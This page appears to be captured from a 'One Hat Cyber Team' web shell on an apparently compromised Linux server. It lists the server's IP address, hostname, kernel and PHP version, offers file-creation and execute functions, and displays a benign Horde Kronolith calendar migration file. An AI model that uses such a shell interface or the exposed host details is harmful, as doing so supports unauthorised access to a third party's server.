⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.50
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-horde
/
kronolith
/
migration
/
View File Name :
3_kronolith_upgrade_addallday.php
* @category Horde * @license http://www.horde.org/licenses/gpl GPL * @package Kronolith */ class KronolithUpgradeAddAllDay extends Horde_Db_Migration_Base { /** * Upgrade. */ public function up() { $t = $this->table('kronolith_events'); $cols = $t->getColumns(); if (!in_array('event_allday', array_keys($cols))) { $this->addColumn('kronolith_events', 'event_allday', 'integer', array('default' => 0)); $this->execute('UPDATE kronolith_events SET event_allday = 1 WHERE ' . $this->modifyDate('event_start', '+', 1, 'DAY') . ' = event_end'); } } /** * Downgrade */ public function down() { $this->removeColumn('kronolith_events', 'event_allday'); } }